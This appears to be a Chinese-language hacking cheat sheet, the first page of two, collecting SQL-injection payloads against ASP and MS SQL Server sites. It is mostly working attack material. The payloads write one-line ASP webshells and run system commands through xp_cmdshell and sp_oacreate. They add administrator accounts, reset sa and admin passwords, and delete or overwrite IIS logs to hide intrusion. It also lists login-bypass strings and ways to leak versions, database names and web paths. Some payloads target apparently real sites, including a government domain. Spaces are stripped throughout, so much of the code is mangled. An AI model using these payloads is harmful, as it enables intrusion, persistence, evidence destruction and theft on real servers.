1、用^转义字符来写ASP(一句话木马)文件的方法:
?http://192.168.1.5/display.asp?keyno=1881;execmaster.dbo.xp_cmdshell'echo^<scriptlanguage=VBScriptrunat=server^>executerequest^("l"^)^</script^>>c:mu.asp';--
?echo^<%execute^(request^("l"^)^)%^>>c:mu.asp
2、显示SQL系统版本：
?http://192.168.1.5/display.asp?keyno=188and1=(select@@VERSION)
?http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,@@version)--
MicrosoftVBScript编译器错误错误'800a03f6'
缺少'End'
/iisHelp/common/500-100.asp，行242
MicrosoftOLEDBProviderforODBCDrivers错误'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'MicrosoftSQLServer2000-8.00.760(IntelX86)Dec17200214:22:05Copyright(c)1988-2003MicrosoftCorporationDesktopEngineonWindowsNT5.0(Build2195:ServicePack4)'toacolumnofdatatypeint.
/display.asp，行17
3、在检测索尼中国的网站漏洞时，分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询，例如“select*frommytablewhereidin(1)”，括号中的值就是我们提交的数据，它的结果与使用“select*frommytablewhereid=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“)and1=1and1in(1”后原来的SQL语句就变成了“select*frommytablewhereidin(1)and1=1and1in(1)”，这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧，聪明的你一定想到了还有“包含字符型”呢。对了，它就是由于类似“select*frommytablewherenamein('firstsee')”的查询语句造成的。
4、判断xp_cmdshell扩展存储过程是否存在：
http://192.168.1.5/display.asp?keyno=188and1=(selectcount(*)FROMmaster.dbo.sysobjectswherextype='X'ANDname='xp_cmdshell')
恢复xp_cmdshell扩展存储的命令：
http://www.test.com/news/show1.asp?NewsId=125272
;execmaster.dbo.sp_addextendedproc'xp_cmdshell','e:inetputwebxplog70.dll';--
5、向启动组中写入命令行和执行程序：
http://192.168.1.5/display.asp?keyno=188;EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun','help1','REG_SZ','cmd.exe/cnetusertestptlove/add'
6、查看当前的数据库名称：
?http://192.168.1.5/display.asp?keyno=188and0<>db_name(n)n改成0,1,2,3……就可以跨库了
?http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,db_name())--
MicrosoftVBScript编译器错误错误'800a03f6'
缺少'End'
/iisHelp/common/500-100.asp，行242
MicrosoftOLEDBProviderforODBCDrivers错误'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'huidahouse'toacolumnofdatatypeint.
/display.asp，行17
7、列出当前所有的数据库名称：
select*frommaster.dbo.sysdatabases列出所有列的记录
selectnamefrommaster.dbo.sysdatabases仅列出name列的记录
8、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令：
createTABLEmytmp(infoVARCHAR(400),IDintIDENTITY(1,1)NOTNULL)
DECLARE@shellINT
DECLARE@fsoINT
DECLARE@fileINT
DECLARE@isEndBIT
DECLARE@outVARCHAR(400)
EXECsp_oacreate'wscript.shell',@shelloutput
EXECsp_oamethod@shell,'run',null,'cmd.exe/cdirc:>c:temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。
EXECsp_oacreate'scripting.filesystemobject',@fsooutput
EXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌
WHILE@shell>0
BEGIN
EXECsp_oamethod@file,'Readline',@outout
insertINTOMYTMP(info)VALUES(@out)
EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout
IF@isEnd=1BREAK
ELSECONTINUE
END
dropTABLEMYTMP
----------
DECLARE@shellINT
DECLARE@fsoINT
DECLARE@fileINT
DECLARE@isEndBIT
DECLARE@outVARCHAR(400)
EXECsp_oacreate'wscript.shell',@shelloutput
EXECsp_oamethod@shell,'run',null,'cmd.exe/ccscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll">c:temp.txt','0','true'
EXECsp_oacreate'scripting.filesystemobject',@fsooutput
EXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'
WHILE@shell>0
BEGIN
EXECsp_oamethod@file,'Readline',@outout
insertINTOMYTMP(info)VALUES(@out)
EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout
IF@isEnd=1BREAK
ELSECONTINUE
END
以下是一行里面将WEB用户加到管理员组中：
DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll">c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
以下是一行中执行EXE程序：
DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccscript.exeE:bjeea.net.cnscoreftsimagesiis.vbslh1c:>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
SQL下三种执行CMD命令的方法：
先删除7.18号日志：
(1)execmaster.dbo.xp_cmdshell'delC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt'
(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/cdelC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
（3）首先开启jet沙盘模式，通过扩展存储过程xp_regwrite修改注册表实现，管理员修改注册表不能预防的原因。出于安全原因，默认沙盘模式未开启，这就是为什么需要xp_regwrite的原因，而xp_regwrite至少需要DB_OWNER权限，为了方便，这里建议使用sysadmin权限测试：
?execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
注：
0禁止一切（默认）
1使能访问ACCESS，但是禁止其它
2禁止访问ACCESS，但是使能其他
3使能一切
?这里仅给出sysadmin权限下使用的命令：
select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:winntsystem32iasias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')
?建立链接数据库'L0op8ack'参考命令：
EXECsp_addlinkedserver'L0op8ack','OLEDBProviderforJet','Microsoft.Jet.OLEDB.4.0','c:windowssystem32iasias.mdb'
?如何使用链接数据库：
使用这个方式可以执行，但是很不幸，DB_OWNER权限是不够的，需要至少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现，还是sa权限或者setupadmin+securityadmin权限帐户才能使用，
一般没有哪个管理员这么设置普通帐户权限的
实用性不强，仅作为一个学习总结吧
大致过程如下，如果不是sysadmin，那么IAS.mdb权限验证会出错，
我测试的时候授予hacker这个用户setupadmin+securityadmin权限，使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以：
?新建链接服务器”L0op8ack”:EXECsp_addlinkedserver'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:winntsystem32iasias.mdb';--
?execsp_addlinkedsrvlogin'L0op8ack','false';--或
execsp_addlinkedsrvlogin'L0op8ack','false',NULL,'test1','ptlove';--
?select*FROMOPENQUERY(L0op8ack,'selectshell("cmd.exe/cnetuser")');--
?execsp_droplinkedsrvlogin'L0op8ack','false';--
?execsp_dropserver'L0op8ack';--
再考贝一个其它文件来代替7.18日文件：
(1)execmaster.dbo.xp_cmdshell'copyC:winntsystem32logfilesW3SVC5ex050716.logC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt'
(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccopyC:winntsystem32logfilesW3SVC5ex050716.logC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
(3)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/cnetuser>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
9、用update来更新表中的数据：
HTTP://xxx.xxx.xxx/abc.asp?p=YY;updateupload.dbo.adminsetpwd='a0b923820dcc509a'whereusername='www';--
www用户密码的16位MD5值为：a0b923820dcc509a，即把密码改成1；
32位MD5值为：，密码为
10、利用表内容导成文件功能
SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。
命令行格式如下：
bcp"select*fromtemp"queryoutc:inetpubwwwrootruncommand.asp–c–Slocalhost–Usa–Pupload('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个runcommand.asp的木马)。
11、创建表、播入数据和读取数据的方法
?创建表：
'and1=1unionselect1,2,3,4;createtable[dbo].[cyfd]([gyfd][char](255))--
?往表里播入数据：
'and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)selecttop1namefromupload.dbo.sysobjectswherextype='U'andstatus>0,@resultoutputinsertintocyfd(gyfd)values(@result);--
'and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintocyfd(gyfd)values(@result);--
?从表里读取数据：
'and1=(selectcount(*)fromcyfdwheregyfd>1)--
?删除临时表：
';droptablecyfd;--
12、通过SQL语句直接更改sa的密码：
?updatemaster.dbo.sysxloginssetpassword=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FCwheresid=0x01,这样sa的密码就被我们改成了111111拉。呵呵，解决的方法就是把sa给删拉。，怎么删可以参考我的《完全删除sa这个后门》。
?查看本机所有的数据库用户名：
select*frommaster.dbo.sysxlogins
selectname,sid,password,dbidfrommaster.dbo.sysxlogins
?更改sa口令方法：用sql综合利用工具连接后，执行命令：
execsp_passwordNULL,'新密码','sa'
13、查询dvbbs库中所有的表名和表结构：
?select*fromdvbbs.dbo.sysobjectswherextype='U'andstatus>0
?select*fromdvbbs.dbo.syscolumnswhereid=1426104121
14、手工备份当前数据库：
完全备份：
;declare@asysname,@snvarchar(4000)
select@a=db_name(),@s='c:/db1'backupdatabase@atodisk=@sWITHformAT--
差异备份：
;declare@asysname,@snvarchar(4000)
select@a=db_name(),@s='c:/db1'backupdatabase@atodisk=@sWITHDIFFERENTIAL,formAT—
15、添加和删除一个SA权限的用户test：
execmaster.dbo.sp_addlogintest,ptlove
execmaster.dbo.sp_addsrvrolemembertest,sysadmin
cmd.exe/cisql-E/Ualma/P/iK:test.qry
16、select*fromChouYFD.dbo.sysobjectswherextype='U'andstatus>0
就可以列出库ChouYFD中所有的用户建立的表名。
selectname,idfromChouYFD.dbo.sysobjectswherextype='U'andstatus>0
17、
?http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select*fromrdweb.dbo.syscolumns（whereid=1234）
列出rdweb库中所有表中的字段名称
?select*fromdvbbs.dbo.syscolumnswhereid=5575058
列出库dvbbs中表id=5575058的所有字段名
18、删除记录命令：deletefromDv_topicwhereboardid=5andtopicid=7978
19、绕过登录验证进入后台的方法整理：
1)'or''='
2)'or1=1--
3)'or'a'='a--
4)'or'='or'
5)"or1=1--
6）or1=1--
7）or'a='a
8）"or"a"="a
9）')or('a'='a
10）")or("a"="a
11））or(1=1
12)'or''='
13)人气%'and1=1and'%'='
20、寻找网站路径的方法汇总：
1）查看WEB网站安装目录命令：
?cscriptc:inetpubadminscriptsadsutil.vbsenumw3svc/2/root>c:test1.txt（将2换成1、3、4、5试试）
typec:test1.txt
delc:test1.txt
在NBSI下可以直接显示运行结果，所以不用导出到文件
2）在网站上随便找到一个图片的名字123.jpg
然后写进批处理程序123.bat:
d:
dir123.jpg/s>c:123.txt
e:
dir123.jpg/s>>c:123.txt
f:
dir123.jpg/s>>c:123.txt
执行后typec:123.txt
这样来分析网站的路径
3）SQL服务器和网站服务器在同一个服务器上，好了是可以执行命令是吧？
将执行命令输出结果到
%windir%helpiishelpcommon404b.htm或者500.asp
注意输出前Backup这两个文件
如：
dirc:>%windir%helpiishelpcommon404b.htm
然后随便输入一个文件来访问：http://目标ip/2.asp
4）针对win2000系统：xp_regread读取HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtualRoots获取WEB路径
2003系统：xp_regread读取，未找到方法
如：
（1）新建一个表cyfd(字段为gyfd)：http://www.cnwill.com/NewsShow.aspx?id=4844;createtable[dbo].[cyfd]([gyfd][char](255))--
（2）把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintocyfd(gyfd)values(@result);--
（3）还是让他不匹配，显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844and1=(selectcount(*)fromcyfdwheregyfd>1)
Source:.NetSqlClientDataProvider
Description:将varchar值'Y:Web烟台人才热线后台管理系统,,201'转换为数据类型为int的列时发生语法错误。
TargeSite:BooleanRead()哈哈哈。。路径暴露了。。
（4）接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;droptablecyfd;--
5）用regedit命令导出注册表，将导出的结果保存的路径到%windir%helpiishelpcommon404b.htm或者500.asp页面
regedit命令说明：
Regedit/L:system/R:user/Efilename.regRegpath
参数含义：
/L：system指定System.dat文件所在的路径。
/R：user指定User.dat文件所在的路径。
/E：此参数指定注册表编辑器要进行导出注册表操作，在此参数后面空一格，输入导出注册表的文件名。
Regpath：用来指定要导出哪个注册表的分支，如果不指定，则将导出全部注册表分支。在这些参数中，"/L：system"和"/R：user"参数是可选项，如果不使用这两个参数，注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS，那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径，否则注册表编辑器将无法找到它们。比如说，如果通过启动盘进入DOS，则备份注册表的命令是"Regedit/L:C:windows/R:C:windows/eregedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下，其文件名为"regedit.reg"。而如果输入的是"regedit/ED:regedit.reg"这条命令，则是说把整个注册表备份到D盘的根目录下（省略了"/L"和"/R"参数），其文件名为"Regedit.reg"。
regedit/sc:adam.reg（导入c:adam.reg文件至注册表）
regedit/ec:web.reg（备份全部注册内容到c:web.reg中）
针对win2000系统：C:>regedit/e%windir%helpiishelpcommon404b.htm"HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtualRoots"
然后http://目标IP/2.asp
针对win2003系统：没有找到，希望找到的朋友公布出来一起讨论。
6）虚拟主机下%SystemRoot%system32inetsrvMetaBack下的文件是iis的备份文件，是允许web用户访问的，如果你的iis备份到这里，用webshell下载下来后用记事本打开，可以获取对应的域名和web绝对路径。
7）SQL注入建立虚拟目录，有dbo权限下找不到web绝对路径的一种解决办法：
我们很多情况下都遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错：
?建立虚拟目录win,指向c:winntsystem32：execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsmkwebdir.vbs-clocalhost-w"l"-v"win","c:winntsystem32"'
?让win目录具有解析asp脚本权限：execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsadsutil.vbssetw3svc/1/root/win/Accessexecute"true"–s:'
?删除虚拟目录win：execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsadsutil.vbsdeletew3svc/1/root/win/'
?测试：http://127.0.0.1/win/test.asp
当前1/2页12下一页阅读全文